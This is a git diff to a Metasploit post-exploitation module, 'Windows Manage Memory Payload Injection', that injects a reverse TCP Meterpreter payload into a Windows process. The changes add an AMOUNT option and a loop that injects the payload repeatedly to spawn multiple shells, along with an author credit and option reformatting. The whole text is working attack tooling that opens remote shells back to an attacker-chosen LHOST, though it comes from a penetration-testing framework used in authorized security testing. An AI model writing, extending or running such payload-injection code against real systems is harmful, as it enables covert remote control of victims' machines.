diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index 8985a7465c..31b3529ae8 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -7,9 +7,12 @@ require 'msf/core' require 'rex' +require 'msf/core/post/common' class Metasploit3 < Msf::Post + include Msf::Post::Common + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Memory Payload Injection Module', @@ -19,32 +22,28 @@ class Metasploit3 < Msf::Post using a reverse x86 TCP Meterpreter Payload. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Carlos Perez '], + 'Author' => [ 'Carlos Perez ', + 'David Kennedy "ReL1K" ' # added multiple payload support + ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) register_options( [ - OptString.new('PAYLOAD', - [false, 'Windows Payload to inject into memory of a process.', - "windows/meterpreter/reverse_tcp"]), - OptAddress.new('LHOST', - [true, 'IP of host that will receive the connection from the payload.']), - OptInt.new('LPORT', - [false, 'Port for Payload to connect to.', 4433]), - OptInt.new('PID', - [false, 'Process Identifier to inject of process to inject payload.']), - OptBool.new('HANDLER', - [ false, 'Start an Exploit Multi Handler to receive the connection', false]), - OptString.new('OPTIONS', - [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format.", - ""]) - ], self.class) + OptString.new('PAYLOAD', [false, 'Windows Payload to inject into memory of a process.', "windows/meterpreter/reverse_tcp"]), + OptAddress.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']), + OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]), + OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']), + OptBool.new('HANDLER', [ false, 'Start an Exploit Multi Handler to receive the connection', false]), + OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format."]), + OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1]) + ], self.class) end # Run Method for when run command is issued def run + # syinfo is only on meterpreter sessions print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? @@ -62,6 +61,7 @@ class Metasploit3 < Msf::Post opts = datastore['OPTIONS'] # Create payload payload = create_payload(pay_name,lhost,lport,opts) + if pid == 0 or not has_pid?(pid) pid = create_temp_proc(payload) end @@ -71,7 +71,12 @@ class Metasploit3 < Msf::Post return false else create_multihand(payload,pay_name,lhost,lport) if datastore['HANDLER'] - inject_into_pid(payload,pid,datastore['NEWPROCESS']) + + datastore['AMOUNT'].times do # iterate through number of shells + + inject_into_pid(payload,pid,datastore['NEWPROCESS']) + + end end end